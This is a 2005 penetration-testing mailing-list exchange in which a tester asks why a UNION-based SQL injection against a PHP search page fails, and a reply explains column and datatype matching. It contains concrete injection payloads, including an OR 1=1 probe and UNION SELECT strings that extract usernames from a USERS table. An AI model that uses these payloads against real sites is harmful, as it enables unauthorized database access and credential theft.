SELECT statements joined by UNION must have the same number of columns with
compatible datatypes in each statement. The number of columns must match,
and the data types must be able to be displayed in the same output column.
IOW- "Select getdate() union select 'string'" will error out as 'string'
can't be converted into a datetime datatype. In your example, if ID is INT,
USERNAME can't be selected in that column for the same reason (in addition
to the fact that your column numbers don't match.)
You'll have to cast USERNAME as a sql_variant datatype - it wouldn't hurt to
cast the filler columns as well just so you don't have to figure out the
datatypes. So, your UNION would be:
UNION SELECT cast(username as sql_variant),cast(0 as sql_variant),cast(0 as
sql_variant),cast(0 as sql_variant),cast(0 as sql_variant),cast(0 as
sql_variant),cast(0 as sql_variant),cast(0 as sql_variant) from USERS-- (you
don't need the "Where clause if you want all of them)
Note that this example is MSSQL- I'm not sure how MYSQL handles variant
data. Worse thing you'll have to do is manually match up datatype if the
back end server doesn't "do" variant datatype conversions, like so:
SELECT ID, NAME, CLUB_CATEGORY_ID, ADDRESS, DRINK_PRICE, AREA_ID, PHONES,
ARTISTS FROM CLUB WHERE...
would have
UNION
SELECT 1, USERNAME,1,'1',1,1,'1','1' FROM USERS WHERE...
matched up to it.
hth
t
-----
"I may disapprove of what you say,
but I will defend to the death your
right to say it."
----- Original Message -----
From: <suntzu123@gmail.com>
To: <pen-test@securityfocus.com>
Sent: Friday, December 16, 2005 6:23 PM
Subject: SQL Injection - SQL query comments
Hi list,
recently we came across a client engagement related to client's web site.
During the assessment, it turned out that a PHP search page was possibly
vulnerable to an sql injection, given that if we feed the search field of
the page with the following classic input "hi' or 1=1" (without quotes),
it returns the
SQL query of the underlying PHP page (the user input goes between the %%
pair in the LIKE clause):
SELECT ID, NAME, CLUB_CATEGORY_ID, ADDRESS, DRINK_PRICE, AREA_ID, PHONES,
ARTISTS FROM CLUB WHERE ACTIVE = 1 AND NAME
LIKE '%hi' or 1=1%' AND ID >0 ORDER BY NAME
The issue is that, when I tried to feed with a statement such as "' UNION
SELECT username FROM USERS WHERE username like '%' --" (without the
double quotes, and focusing to get a list of user names commenting out the
rest of the query), we ended up in the following error:
Error during SQL execution
SELECT ID, NAME, CLUB_CATEGORY_ID, ADDRESS, DRINK_PRICE, AREA_ID, PHONES,
ARTISTS FROM CLUB WHERE ACTIVE = 1 AND NAME
LIKE '%' UNION SELECT username FROM USERS WHERE username like '%' --
Given that the assumption that MySQL is running behind this PHP page, we
failed to get the usernames from the MySQL system table "users"; the
obvious result from this output is that the comments did not work as
intended.
Have you ever faced such a situation ? Reading the documentation of all
major databases (MS SQL, Oracle, MySQL, Informix, Ingres, Postgres, etc)
it
turns out that all of these databases should implement the univeral "--"
commenting mechanism in their SQL queries.
What am I missing here ??
Thanks in advance for your help,
st
------------------------------------------------------------------------------
Audit your website security with Acunetix Web Vulnerability Scanner:
Hackers are concentrating their efforts on attacking applications on your
website. Up to 75% of cyber attacks are launched on shopping carts, forms,
login pages, dynamic content etc. Firewalls, SSL and locked-down servers
are
futile against web application hacking. Check your website for
vulnerabilities
to SQL injection, Cross site scripting and other web attacks before
hackers do!
Download Trial at:
http://www.securityfocus.com/sponsor/pen-test_050831
-------------------------------------------------------------------------------
------------------------------------------------------------------------------
Audit your website security with Acunetix Web Vulnerability Scanner:
Hackers are concentrating their efforts on attacking applications on your
website. Up to 75% of cyber attacks are launched on shopping carts, forms,
login pages, dynamic content etc. Firewalls, SSL and locked-down servers are
futile against web application hacking. Check your website for vulnerabilities
to SQL injection, Cross site scripting and other web attacks before hackers do!
Download Trial at:
http://www.securityfocus.com/sponsor/pen-test_050831
-------------------------------------------------------------------------------
